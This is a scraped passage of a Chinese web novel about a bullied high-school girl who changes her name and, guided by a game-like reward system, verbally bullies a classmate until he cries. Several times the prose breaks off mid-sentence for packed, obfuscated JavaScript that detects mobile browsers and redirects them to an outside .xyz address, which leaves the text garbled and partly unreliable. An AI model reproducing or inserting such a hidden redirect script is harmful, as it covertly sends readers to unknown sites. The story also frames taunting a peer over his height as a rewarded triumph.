“是个好主意，但是……”徐婷婷觉得跟她姓并不合适。 “我找找，这是《百家姓》，你自己翻。”陆晨曦善解人意，又拿了一本书递给她，“什么姬、姜，都是寓意很好的姓呢！你知道吧？姓的意思是何女所生，姬、姜都是非常古老的姓，要不是改名换姓太麻烦，我妈不同意，我都想改！” 徐婷婷也很喜欢姬、姜这两个姓，可是她想，她应该有更好的选择。 她需要一点有意义的东西作为寄托。 忽然，她想到改变她人生的璀璨人生系统，跟系统姓似乎正是她想作出的选择。 【叮！你触发了生活事件】 【你想更名易姓，你决定——】 【选项一：维持原样，不做爸妈定义的婷婷，做自己定义的婷婷，获得100元零花钱】 【选项二：改名改姓，跟陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陆晨曦正牵着她的手，陈若龙和陆妈妈就站在她们身后。 面对这场景，奶奶显得很紧张。 对她来说，班主任陈若龙瞧着还好，是普通老师。陆妈妈看起来却不寻常，奶奶也说不出哪里不寻常，她觉得陆妈妈像个大人物，不是很有钱就是很有权势，一般人惹不起。 “你好，徐婷婷的奶奶，我是晨曦地产的老板，你可以叫我陆鸿。” 陆妈妈笑着递上礼物。 “我听婷婷说，你的身体不太好，这颗安宫牛黄丸是我八百多块钱买的，希望你喜欢。” “这、这怎么使得……”奶奶手足无措。 八、八百元？这么贵的东西送给她，女老板的钱多得没处花了？ 包装精美的礼盒被推到手里，奶奶笑得满脸褶子：“哎呀，你不愧是大老板，真是太大方了……” 陆妈妈微微一笑。 给她就拿，拒绝的客套话就说了一句，看来是真喜欢。 “我这次特地来医院见你，是想跟你商议一下资助徐婷婷上学这件事。”陆妈妈开门见山，“徐婷婷成绩不错，不读书实在可惜，她的学杂费、伙食费我来出。你作为她的亲奶奶，没意见吧？” “没！当然没！”别人出钱给孙女读书，奶奶怎么可能拒绝。 “徐婷婷的名字寓意不好，得改。”陆妈妈取出文件和笔，递给奶奶，“你在这里签个名，我还需要你的户口本、身份证，我们得去派出所一趟，把改名这件事落实下来。” 能送得起八百元的礼物，又肯资助徐婷婷读书，还有徐婷婷的班主任作证，奶奶相信陆妈妈不是坏人。把文件看了一遍，申请改名的，她便签了自己的名。 户口本和身份证都在，陆妈妈的车在楼下，奶奶跟医生知会一声，跟着去了派出所，将徐婷婷的姓名改为崔皓月。 其实改姓这事奶奶不是很乐意。 但陈若龙说，女孩子嫁出去就是别家人，改姓没什么大不了的。 况且，血缘无法割断。 孙女改名了换姓了，难道就不是徐家人了吗？ 户口本上，她俩还是养母女，关系断不掉，即便断了，法律也不承认。 奶奶听着觉得有道理，点头同意。 就这样，崔皓月改掉不喜欢的姓名，顺便办身份证，从此往后的每一天都是新的人生。 16.人质情结 当崔皓月和陆晨曦回到学校时，大家正上着课，校园静悄悄的，只有体育老师吹哨子训练学生的声音。 走在熟悉的路上，听着熟悉的小鸟叫声，崔皓月仍然有种梦幻感。 她忍不住问好朋友：“我真的更名易姓了吗？那么容易？我是不是在做梦？” “是做梦，你没猜错！”陆晨曦点头，露出坏坏的笑，双手掐住她的脸，“疼吗？睡醒了吗？摸摸兜里的身份证，拿出来看看，是不是真的改名改姓了？” “唔，泥有嘟窝（你又逗我）！”崔皓月羞恼地夺回被掐的脸，眉头皱起来，“我只是觉得我奶奶答应改名答应得太容易。送她回病房的时候，她给了我二十块钱，让我好好听你妈妈的话。她……” 崔皓月一边说一边思考：“她看起来好像忘记了周五傍晚发生的事情，对我还是跟从前一样。” 这是她不理解的。 奶奶不计较那天的事，奶奶现在对她很温和，甚至罕见地给了她零花钱。 她似乎被这种对待所感化，内心动摇了，想跟奶奶和好。 “可是，我无法忘记那天的事！我永远都不会忘记那天的经历！”崔皓月感到痛苦，此时此刻产生和解念头的她，背叛了那个哭着逃出病房的她，“我明明跟奶奶决裂了！凭什么她能假装什么都没有发生过？” 她觉得奶奶很可怕，觉得想让一切回到从前的自己更可怕。 曾经受过的伤害那么痛，怎么能遗忘？怎么能无视？她应该远离奶奶，为什么她还想接近奶奶？她难道就那么下贱？ “冷静点，皓月。”陆晨曦拥住她的肩膀，说破她讲不出口的心思，“你想跟她和好？” 和好是下贱，是软弱。 崔皓月摇了头，不想被好朋友轻视，又缓缓点头，不想欺骗好朋友。 她很迷茫：“我不知道。我也不知道怎么描述我的心态，我觉得，你妈妈、老师好像都希望我和好，我似乎应该跟奶奶和好。” “那你觉得你应该和好吗？”陆晨曦问。 “不应该。”崔皓月说，“你会觉得我小气，觉得我不孝顺吗？” 陆晨曦没有回答，说了别的东西：“皓月，你有没有听说过斯德哥尔摩综合征？” 崔皓月摇头。 陆晨曦讲解道：“这一症状也被人称作人质情结。斯德哥尔摩是瑞典的首都，两个歹徒抢银行失败，便挟持了四个人质，与警方僵持多日。大家都认为人质憎恨歹徒，然而获救的人质对歹徒感到同情，他们拒绝在法庭上指控歹徒。因为他们认为歹徒在劫持期间照顾了他们，这是值得感激的，他们一点都不痛恨歹徒。” “这不正常。”崔皓月评价。 “是的，不正常。”陆晨曦说，“你的奶奶伤害了你，你如果轻易原谅她，我会看不起你，你自己也会看不起你自己。” “对，我……我已经跟奶奶决裂！”崔皓月把手放在跳动的心脏上。 那天感受到的，刀绞般的心痛，她记忆犹新。 “我和奶奶不可能回到从前！不可能！”崔皓月不愿背叛自己，动摇的心在陆晨曦的支持中恢复坚定，“我不原谅！我绝不和好！绝不！” 太恐怖了，世上原来有人质情结这种东西，让她心甘情愿地靠近伤害自己的人，明明感到痛苦却不愿逃离。 崔皓月好像明白了，为何她在网上看到的那篇文章，作者能细细地剖开亲人导致的痛苦却无法离开令她感到痛苦的亲人，因为作者深陷人质情结，难以自拔。 回到自己身上，她冷静地分析现状：“如果我选择和好，那么我所做的一切抗争，都会沦为儿戏。我是真心决裂，不是哭着闹着求奶奶对我好一点，我不需要她对我好了。” “给你二十块零花钱便算对你好吗？”陆晨曦嗤笑，“二十块钱能干什么？哦，能办个身份证，她对你还怪体贴的咧，怕你付不起办身份证的钱。” 崔皓月不由得笑了：“对啊，她很少给我零花钱，二十元可是很多的，能在小卖部买四十个五毛钱的雪糕呢。你想，四十个雪糕，得吃多久才吃完啊！” “你去买个五毛钱的雪糕给我吃吃看，买得到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14335749|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算我输！”陆晨曦推着崔皓月去学校的小卖部，“大冷天的嘴馋，想吃雪糕是吧？我给你买，买最贵的雪糕，五毛钱的咱不稀罕捏！” “不去，怕冷，不想吃。”崔皓月拒绝了。 “没事没事，尝一口，不爱吃就扔，反正咱有钱，扔得起！”陆晨曦相当阔气。 崔皓月把头摇成了拨浪鼓：“不能浪费粮食。” 陆晨曦嘻嘻笑，找她话里的漏洞：“雪糕是零食。” “零食也不能浪费。” “那就吃。” 下课铃响起，两个好朋友一人拿着一个雪糕吃，大摇大摆地回到教室。 同学们围了过来，七嘴八舌地问： “晨曦，你干嘛去了？怎么现在才来？” “徐婷婷为啥跟晨曦一起？” 陆晨曦灿烂一笑，对大家说：“有个好消息要宣布哦！” 大家好奇，很给面子地问：“什么好消息？” 陆晨曦便说：“退后些，让开些。” 人们依言照做，空出了一大块地方，陆晨曦立刻化身主持人，将崔皓月介绍给大家：“来，用力鼓掌！这位是我们的同学，她叫崔皓月，今天她改名了！你们要记住她的姓名，崔皓月！” 被大家瞩目，崔皓月的脸顿时变得红彤彤一片。 好羞耻！好多人看她！她会受不了的！ 班里的都是同学，友好地叫她：“崔皓月！” 向她祝贺：“改名了？好事一桩！崔皓月这个姓名更好听！” “为啥你不想叫徐婷婷？”一个矮个子男生好奇，“你干嘛改名？崔皓月，这个名字感觉有点奇怪。” “你管那么多干嘛？”陆晨曦挑眉看着那男生，“我陪崔皓月去派出所改的名，我和崔皓月一起想的名！你不会恭喜可以闭嘴，没必要说奇怪的话，那只会让你显得很讨厌。” 矮个子男生讨了个没趣，讪讪一笑，藏进人群里。 崔皓月记得他。 他叫黄鑫，跟张浩文一起嘲笑她，给她起绰号，没有受到任何惩罚。 17.以牙还牙 【叮！你触发了生活事件】 【日常生活中总是有这样的一些讨厌鬼，他们不会明目张胆地欺负你，却会在你高兴的时候说风凉话膈应你，还会在别人欺负你的时候踩你一脚，往你的伤口上撒盐】 【他们称不上特别坏，对你怀有恶意但不多，只是见不得你好，盼着你倒楣罢了】 【黄鑫正是这种人，你厌恶他，想报复他，你决定——】 【选项一：做一个大度的人，咽下心里的怨气，获得10元零花钱】 【选项二：要求黄鑫向你认错道歉，获得100元零花钱】 【选项三：用黄鑫对待你的态度对待他，嘲笑他，给他起绰号，获得300元零花钱】 【选项四：霸凌他，成为他的心理阴影，获得1000元零花钱】 讲真的，崔皓月一眼看中选项四。 黄鑫值得选项四，她想让他以后想起高三生活就感到痛苦。 不过，她没有那么强的报复心，相对平和的选项二、选项三更符合她的性格。听着二十秒选择倒计时，崔皓月看着不能立刻完成的选项四，忽然有点好奇。 如果她选择四，系统会指点她霸凌黄鑫，会告诉她如何成为他的心理阴影吗？ 试试就知道，属性面板上的【金钱：3250】是她尝试的底气，如今的她并不是很缺钱。 崔皓月选择选项四，系统即刻发生变化。 【你开启了持续性生活事件，奖励将在事件完成后发放】 【你决定成为黄鑫的心理阴影，你要霸凌他】 没有熟悉的选择，崔皓月不是很习惯。 她看向黄鑫。 没有人找他玩，他在他的位置上整理课本，时不时瞟一眼周围的同学，有些不安。班上最受欢迎的陆晨曦说他讨厌，他肯定记在心里，害怕自己遭到大家冷落。 不安的人比平时敏感，黄鑫很快注意到崔皓月的目光，恶狠狠地瞪她一眼，立刻转过头看别处。 他心虚了。 崔皓月作出判断。 就像那天她在理发店表达不满，片刻也不敢停留，马上离开现场。这是心虚的表现。她害怕理发店嘲笑她，不敢跟理发店吵，所以她选择逃离。 黄鑫也知道他的话令她膈应，他还瞪她，是把她当成从前那个软弱的徐婷婷？ 也是，挨了她一巴掌的人是张浩文，又不是他。 他未必怕她，被她打过一次脸的张浩文都不一定害怕她。 对，他不怕她，觉得瞪她是安全行为，不会被她计较，不会受到惩罚。 他没料到他说她名字奇怪会被陆晨曦教训，他应该会觉得陆晨曦多管闲事，可他不会后悔说出那句话。 人总是这样，不反思自己是否犯错，常常怨恨别人揪住他的痛处。 崔皓月继续观察他。 他应该感觉到她的注视，在位置上动来动去，像患了多动症。他更不安，飞快地用眼角余光瞄她，一次，两次，她仍然在打量他。 看啥看！ 黄鑫越来越暴躁。 他第三次瞄她，发现她还在看，耐心瞬间被耗尽了。 黄鑫猛地站了起来，双眼死死地盯着崔皓月，呼吸粗重。他想朝她大吼一声“你发什么神经，老是看我”，不料她忽然离开座位，他顿时想起她打过张浩文一巴掌，心里一惊，产生退缩的念头。 崔皓月不是来打他的，有人在叫她，所以她过去找那个人。 当黄鑫回过神来，他已经错过最好的发难时机，那声大吼被堵在喉咙里。 更难受了。 周围的同学见他站起来，以为有热闹看，结果他什么都没有做，觉得他莫名其妙，不禁发出抱怨声：“你干嘛啊？这么大的动静都吓到我了！你真讨厌！” 这个“讨厌”激起了黄鑫的怒火。 他气恼地瞪那同学，对方毫不畏惧地瞪回来：“说你两句还不行了？你这样看我难道想打我？哼，你的行为就是讨人厌，你这个人也讨厌得很！” 别的同学也露出不满的神色。 黄鑫握紧拳头，憋屈地坐下来，脑海里把崔皓月和陆晨曦骂了千百遍。 另一边，崔皓月收到系统提示：【事件进度+5%】 发生什么了？没有做选择也能推动事件？ 她好奇地看向黄鑫。 他似乎自闭了，不再关注外界反应，低着头，闷闷不乐，一副受到打击的样子。 【选项一：悄悄告诉黄鑫，他是班上最让你讨厌的人，张浩文都没有他讨厌】 【选项二：当众询问黄鑫是不是偷偷哭了】 【选项三：大声嘲笑黄鑫小气、双标，你没计较他说你名字奇怪，陆晨曦说他讨厌他反而生气到现在】 系统真的给她指点了！崔皓月精神一震，选择选项二。 选了就要执行，她思考接下来的言行，一边揣摩一边走向黄鑫。在他抬头看来时，她用稍大的音量礼貌地问他：“黄鑫，你哭了吗？” 班上的同学都能听到这句话。 黄鑫被问得一愣，面上浮现羞恼之色，迅速反驳道：“你才哭！” 怎么回答他？崔皓月回想《说话的技巧》的内容，保持从容的姿态，说：“我以为你气得哭了，想安慰你呢。” 黄鑫让她给整不会了，用力瞪着她：“用不着你假好心！” “哈哈！”周围的同学笑出声，揶揄道，“你原来没哭吗？我看你埋着头，也觉得你哭了。” 他在嘲笑黄鑫。 黄鑫生气：“你给我闭嘴！” 崔皓月没有分注意力给那位同学，她注视黄鑫，语气平和：“你没哭就好。刚才你说我名字奇怪，非常不礼貌，我挺气的，我希望你向我认错道歉。” 对，人必须为自己的言行负责，黄鑫的话伤到她，凭什么不能要求他认错道歉？ 之所以他口无遮拦，是因为他不曾为他的恶语付出代价，今天她若放过黄鑫，以后也会有无辜的人被他恶语中伤。 她不能咽下心里的气，她要做那个站出来指责他，要求他道歉的人！ 想到这里，崔皓月豁然开朗，底气更足。看着一脸你要啥道歉的黄鑫，她重复一遍：“你说我的名字奇怪，这很不礼貌，我要求你向我认错道歉！” “希望”这个词，不如“要求”强硬，黄鑫也感觉到。 他斜着眼打量崔皓月，发出傲慢的嗤笑声：“你谁啊你？你有什么资格让我道歉？你的名字确实奇怪，我还不能说？” 害羞的女生往往怯于被大众瞩目，不需要说多少，他就能赶走她。 崔皓月还没走，黄鑫继续说：“你是惹不起的小仙女还是惹不起的小公举？我不道歉你是不是得哭着跑去找老师给你主持公道？” 表现得不错，他很满意自己的发挥能力。 可是崔皓月依然站在面前，她虽然红了眼睛，眼睛里泪光闪闪，仍旧与他对峙：“黄鑫，你听不懂话？我要求你向我认错道歉！你的话很难听，你还是跟从前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14335750|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一样讨厌，我看张浩文都比你顺眼！你是班上最让人讨厌的男生！” 讨厌！又是这个词！黄鑫暴躁。 他注意到陆晨曦的目光，必须尽快解决崔皓月，不然他没信心面对陆晨曦，他伸手推崔皓月：“走开！别站在这妨碍我！要我道歉是吧？我偏不，就说你一句，你这么小气干嘛？” 崔皓月确实害怕被大家围观，可她已经站出来了，岂能退缩？ 她盯住不耐烦的黄鑫，敏锐地察觉到他嚣张外表下的退意，只要她再坚持一下胜利就会属于她！ 他伸手，她不假思索地挥手拍开了他的手，昂着头看他，声音很大：“要求你说一句对不起你为什么不说？你恶语伤人还不准我对你不满，你是只会说难听话恶心别人，不敢为你说的话负起责任吗？做人没点担当，我真瞧不起你！” 大家眼神异样，黄鑫一下子炸了，愤怒地看着崔皓月，感觉自己丢尽了脸面。 他说不出话，崔皓月能说，她用一种嘲弄的目光扫视黄鑫：“既然你坚持不道歉，那我以牙还牙！” 恶意只能用恶意来对付，崔皓月冷笑：“黄鑫，你是班上最矮的男生，长得也不咋地，你是个矮冬瓜，想谈恋爱也没有女生会看你！你是《白雪公主》里的小矮人，但小矮人比你可爱，你不配做小矮人！你说，我叫你侏儒怎样？又矮又恶毒，简直绝配！” 黄鑫气得涨红了脸，怒火冲天，却无计可施：“你！徐婷婷！你这个贱人！” 他的眼睛里泛起泪光，恨透了崔皓月。 尽管他外向了点，对于眼下这局面，却毫无应付的经验。 他不过是个普通的高三男生罢了，被老师叫上讲台会很紧张，连作恶都要仗着张浩文的威风，被陆晨曦说讨厌立刻逃走，整个人焦灼不安。 当崔皓月比他镇定，比他能说，他便败下阵来，眼泪啪嗒啪嗒地掉。 又一个虚张声势的纸老虎。 崔皓月审视他，唇畔扬起一抹发自内心的笑。 爽！ 以恶语还以恶语，爽！ 她享受报复的快意，轻笑着，对哭了的黄鑫说道：“你哭了呀？我叫你矮冬瓜，叫你侏儒，你想起你叫我什么吗？叫我贞子，叫我多比，你嘲笑我，我确实记在心里。黄鑫，我不要你道歉了，你是矮冬瓜，是侏儒，你的成绩还很一般，又讨厌，又让人看不起。” 黄鑫抹眼泪，声音嘶哑：“别以为我不敢打你！” 崔皓月说：“你会找老师告状吗？会像张浩文那样找家长吗？会的话，我更看不起你。” 黄鑫想说什么，就在这时，“叮铃铃——” 上课铃声响了。 得胜的崔皓月环顾四周，同学们目光各异，不敢与她对视。 即便是曾经欺负她的张浩文，也避开她的眼神。 从此，这个班级不会有人欺负她，不会有人当着她的面说她的不是让她膈应。 完美的结局！ 崔皓月不慌不忙地回到自己的位置坐好，心情舒畅，神清气爽。 【你的言行对黄鑫造成沉重的打击，他以后见了你都会绕着你走，不敢面对你】 【事件进度+50%，当前进度55%】 要更进一步推动事件，做黄鑫的心理阴影吗？ 她思索着，选择提交事件，获取55%奖励。 黄鑫受到惩罚，她也出气了，没必要浪费时间跟他纠缠下去。快高考了，她的成绩还能往上提高一截，得把心思用在学习上。 18.现实和书上的区别 傍晚，崔皓月和陆晨曦在食堂吃饭。 陆晨曦端详着好朋友，如今她剪了不过耳的短发，认真干饭。 想起她从前留着厚重刘海，不敢抬头看人，被取绰号后默默忍耐的怯弱形象，陆晨曦不由得感叹：“婷……皓月，你变了，变化很大！我都没想到，你竟然会找黄鑫算账，还把他说到哭！” 崔皓月立刻抬头，仿佛一只受惊的小动物，神色有些忐忑：“我当时很凶吗？”她皱眉，“我也被他气哭，明明错的是他，他不承认，说话比我还大声！” 说到这里她就来气，跟陆晨曦吐槽道：“要他道歉又不是要他的命，他凭啥不道歉？非得逼我骂他，逼我嘲笑他矮，他才肯低下头，黄鑫这个人简直不可理喻！” 好朋友还是原来的好朋友，瞧着她张牙舞爪的样子，陆晨曦想起凶凶的小猫咪，外表可爱，本质却是捕食者。 忽然间，陆晨曦有一种微妙的成就感。 令她青眼相看的崔皓月，变得越来越优秀了。 都是她慧眼识珠！ 骄傲地挺胸，陆晨曦哈哈一笑：“有些人的确讲不通道理，得你骂一顿他才安心。你骂得对，不要觉得自己的话伤害到他，那是他应得的。皓月，你做得对，我为你感到自豪！” 饭吃得很开心，崔皓月回到宿舍，发现舍友们对自己似乎多了一丝敬意。 “原来你才是最惹不起的人！黄鑫被你骂哭，张浩文见了都害怕。” “嘻嘻，张浩文可是挨过婷婷一巴掌的！” “不要叫婷婷，她改名了，叫她皓月，不然她跟你生气怎么办？” “才不怕呢，婷婷不会欺负我的，婷婷你说是不是？” 崔皓月笑着摇了摇头：“以后不要叫我婷婷，我不喜欢这个名字，非常不喜欢。” 叫她婷婷的舍友顿时不好意思起来：“我要不要向你道歉？我不知道你讨厌你的旧名，我不是故意的！” “我知道你跟我开玩笑，你不用道歉。”崔皓月解释道，“大家都很好奇，我为什么改名改姓吧？因为我奶奶告诉我，婷婷是停止生女儿的意思，我爸妈不想要女儿……” 将身世告诉大家并不会难堪。 崔皓月心想，爸妈和奶奶都给她取那样不堪的名了，她为什么要替他们隐瞒这件事？她要所有人谴责他们，让所有人知道他们对她的恶意！ 家从来不是她的家，所谓的家丑不可外扬与她有什么关系？ 如她预料的那样，舍友们同情她的遭遇，一致谴责她的爸妈和奶奶。 也有舍友讲述自己的家庭，同是姐姐，都有弟弟，虽然爸妈没有过分到只爱弟弟不爱姐姐，但姐姐的待遇到底不如弟弟。 即便是独生女舍友，家里的爷爷奶奶都更疼爱堂哥堂弟。 崔皓月不禁对现实产生了迷惑。 人人都说二十一世纪消灭了封建，实现了男女平等，为何父母更看重儿子？ 女人和男人到底有何差异，二者为何不平等？ 史书上的封建王朝，只有一位皇帝是女性，其它皇帝全是男性。 现在已经推翻封建王朝，女性政治家依然不多见，就连企业家都是男性数量更多。 在学校里，校长和副校长全是男性。 在网上，哪怕是正经新闻，也时常见到衣着稀少的女人照片，它们为何不贴出衣着稀少的男人照片？只有男网友是需要的读者，女网友不配？ 游戏中，女角色穿得一个比一个少，男角色裹得一个比一个严实，游戏公司为何只会取悦男玩家，完全不考虑女玩家的感受？ 世界并不是书里描述的样子。 崔皓月第一次如此认真地思考现实和教科书的不同。 她想起语文书插画上的春游秋游，她都没体验过，她也没去过夏令营，就连骑自行车都是陆晨曦鼓励她去学，她才学会骑。她不会下棋，没放过风筝，公园是和陆晨曦认识后才去过，她的枯燥生活让她对书上的美好缺乏代入感。 对于她来说，书和现实，就像两条平行线。 她又想起周五早上班主任陈若龙的询问，大学考哪个？专业选哪个？陈若龙没问她们大学毕业后会从事什么工作，但她是不是应该仔细思考一下？ 找一份高薪的工作，赚很多钱，满足自己的物欲，然后买房子、谈恋爱、结婚、生孩子、养孩子，漫长的人生就这样过吗？ 过得比爸妈好，让自己的女儿获得自己不曾拥有的一切快乐，人生就没有遗憾了吗？ 崔皓月希望自己的人生能有意义一点。 月考在即，尽管心里有很多想法，崔皓月也不得不把所有注意力放在复习功课上。 小学、初中的知识，她都不觉得难，读了高中烦心事太多，她的成绩才会退步。如今系统为她解决生活中的小烦恼，家庭再也不能影响她，她和舍友、同学相处得十分融洽，学习起来事半功倍。 学校将月考安排在周六日，收卷后老师们立刻批改，周二上午出成绩。 老师念分数发试卷时，崔皓月纵然心里有底，也免不了忐忑。 万一近期学习有所进步是自己的错觉呢？万一考砸了呢？ 分数未揭晓，她便不能自信地说自己考得很好。 分数是从高到低开始念，崔皓月的语文考了128分，比上次小测多了19分，教语文的班主任陈若龙都很惊讶：“你是开窍了吗？” 崔皓月翻开试卷，诗词分析、文言文翻译、作文都是扣分点，能进步多亏了陆晨曦的细心辅导。 数学老师不爱按分数给试卷排序，但分数是念的，崔皓月考了124分。 由于上次小测她只有107分，数学老师也给了她笑脸：“考得可以，下次细心些，考到一百三十多分，行吗？” “我会很努力的！”崔皓月握拳，“我觉得数学更容易进步！” “哈哈，老师相信你！”老师期待地看着她，“开学那会，你的数学分数不过百，现在距离满分只差二十多，老师很欣慰哦！” 崔皓月羞涩地笑笑。 不是她自夸，数学认真学，她确实觉得比语文简单。 英语也是跟陆晨曦一起复习的，崔皓月非常用心，考了114分，因为英语是她的弱项，本次进步不如别的学科明显，却也得到英语老师的夸奖。 等到剩下的试卷一一发下来，成绩汇总排名，崔皓月距离优等生更近了。 周五，班主任陈若龙重新安排座位。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14345524|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崔皓月被放到教室中间，由于个子不高，坐在第二排。陆晨曦高挑，坐在倒数第三排，两个好朋友很遗憾无法成为同桌。 但崔皓月的同桌不是陌生人，她的眉梢有一颗小痣，晏北回是也。 这次月考晏北回的成绩不太理想，她把自己的桌子和崔皓月的拼在一起，有点刻意地对崔皓月笑笑：“没想到我俩也有做同桌的一天，倒是有点缘分。” 说完这句话，晏北回便沉默了。 上课时她心不在焉，下课后拿着手机一直看，让崔皓月怀疑自己不小心得罪她。 不然她为何如此冷淡？ 想不通自己哪里令晏北回不高兴，崔皓月有意找陆晨曦商量，可陆晨曦估计也给不了建议。她便没找陆晨曦，主动询问新同桌：“你跟我做同桌，是不是不习惯？” 晏北回看她一眼：“不习惯还能换不成？”话有点冲，她不想惹崔皓月生气，语气变得柔和了些，“我没有不满意你，你不要多想。” 能让坏同学张浩文道歉，能把嘴贱的黄鑫整哭，崔皓月在班上的标签是非常不好惹。 没有人会把她当成从前那个懦弱的徐婷婷。 崔皓月不满意晏北回的回答，说：“上次你不是这样的，你教我怎么上网。” 上次是在网吧那次。 晏北回想起陆妈妈开宝马到网吧楼下带走崔皓月，别过头去不愿理她。 怎么说？说自己内心阴暗，看到她被陆晨曦视作好朋友就酸她？看到她成绩进步被夸奖就忍不住讨厌她？ 在崔皓月身上到底发生了什么，能让胆小内向的她变成把黄鑫骂到哭的性格？晏北回微微侧头，用眼角余光看崔皓月。 然而崔皓月也在看她，两人目光接触，气氛中多了丝丝尴尬。 先挪开目光的是晏北回，她低下头，小声问：“你怎么会去找黄鑫的麻烦？你还骂他，把他都骂哭了。我记得你从前不是这个样子的。” 晏北回高二时，和崔皓月一个班，虽然彼此间接触很少，基本的印象还是有的。 “他说我名字奇怪，我很气。”崔皓月回答，“我想，我需要他道歉，然后我就找他，要求他道歉。” “你不怕他不道歉吗？不怕他打你吗？”晏北回打量同桌，她依然不是陆晨曦那样自信的人，看起来文静内向，很难让人把她和骂哭男生的事情联系起来。 同桌的打量令崔皓月感到压力。 她控制住避开的想法，迎着晏北回的视线，说道：“我怕，可是我要他向我道歉。我得用实际行动告诉他，恶语伤人是错的，他说错话，那么他必须承担说错的后果。” 真讨厌啊！ 说这种正义的话，仿佛自己好像很伟大似的。 晏北回不喜欢这样的崔皓月，淡淡地说：“息事宁人难道不好吗？大家私底下都说你凶，男生那边给你起绰号，偷偷叫你母夜叉。” 她看到崔皓月愣了一下，眼睛里自然而然地泛起水光。 哭了？晏北回想看她落泪。 但崔皓月眨了眨眼，用平静的声音说出笃定的话：“他们不敢当面叫我，他们怕我。” 晏北回定定地看着她，突然问：“徐婷婷，你被人穿越了？还是你重生回来了？” 19.我重生了！ 新的一天，新的开始。 崔皓月照旧在起床前打开系统的属性面板，一眼扫过各项数据。 【使用者：崔皓月】 【性别：女】 【力量：7（↑1）】 【敏捷：6（↑1）】 【体质：7（↑2）】 【智力：8（↑1）】 【技能：蚊子不想咬你】 【道具：无】 【背包（2格）：一捆卡、一叠纸钞】 【商店：待解锁】 【社区：待解锁】 【金钱：3800元（展开折叠查看月经补助和伙食费）】 【人生事件：参加高考（进行中，可取消）】 【生活事件：⑴月经（略）；⑵晨跑（略）；⑶吃饭（略）】 体质比昨天多1点，她的身体更健康了，不枉她每天顶着寒风晨跑。 她翻到体质面板。 【使用者：崔皓月】 【年龄：17岁】 【身高：152.3cm】 【体重：47.76KG】 【BMI：20.6（标准）】 【血糖值：……】 又长高了一点！距离160cm更近，值得高兴。 崔皓月露出了笑容，可她很快想到弟弟比她高一个头，脸色又阴郁起来。 都怪偏心爸妈！都怪吝啬奶奶！她可以长得更高，如果他们好好抚养她的话，她怎么会到了十七岁还是个矮子？ 不能给孩子最好的成长环境，干嘛把孩子生下来受苦受罪？ 崔皓月想，如果她没钱，也不能给孩子关爱，那么她绝对不会生孩子。 不，不不不，无论是有钱没爱，还是没钱有爱，她都不会生孩子。如果她生孩子，她一定有钱有爱，她必须让她的孩子幸福。 而且，她只要女儿，绝不生儿子。 吃早餐的时候，崔皓月跟陆晨曦说了自己对未来的期望：“我妈为了生儿子数次打胎，我不会这样伤害自己，我会用科学手段筛选让我生女儿的精/子。” 陆晨曦掰开肉包，挑起眉：“皓月，你想通过女儿弥补你自己？要是你真的这样想，我劝你别生。” “啊？”闻着肉馅散发的香味，崔皓月怔住，“为什么？” “我觉得你不想生女儿，你只是想弥补你自己。”陆晨曦满意今天的肉包，“不是预制的冻肉包，是现包的，新鲜！你小时候过得不好，所以你想让你女儿替你过好日子，你女儿会喜欢这样的人生吗？” 崔皓月了然，失落地说道：“应该不会。” 陆晨曦安慰她：“我们还没成年呢，生孩子这种事，得多少年后才考虑？不急的。你呢，别想以后的孩子，多想想自己。过去的事情无法改变，未来谁都说不清，只有现在才是我们能把握的。” “你说得对。”崔皓月拿起肉包，纳闷地说，“食堂怎么会做新鲜包子？” “嗡嗡~”陆晨曦放在桌子上的手机震动了一下。 有新短信，她打开一看，脸上瞬间绽放出灿烂的笑容，兴奋地跟崔皓月分享好消息：“我妈！她真的把食堂买下来了！我妈好厉害，她才是霸道总裁！真正的霸道总裁！” 食堂还能买下来？ 崔皓月惊呆了，马上问：“买食堂要多少钱？” 陆晨曦在微信上询问陆妈妈，陆妈妈当然在线，告知她答案：“花了十五万，员工工资、其余成本另算。” “妈！你是我亲妈！”陆晨曦开语音，发了个亲亲过去，“今天的早餐很新鲜！很好吃！妈妈，我超爱你！虽然你到了高三才买食堂，害得我吃了两年多猪食，但我现在很爱你！” 肉包很好吃，崔皓月一边吃一边看陆晨曦跟她妈妈撒娇，为她高兴。 过了好半天才放下手机，陆晨曦罕见地显出少许羞涩：“我妈真的爱我！我只跟她抱怨过食堂难吃，没让她花钱买食堂，结果她真的买了，给了我一个巨大的惊喜。你懂吗？她好爱我，把我感动得差点哭了……” 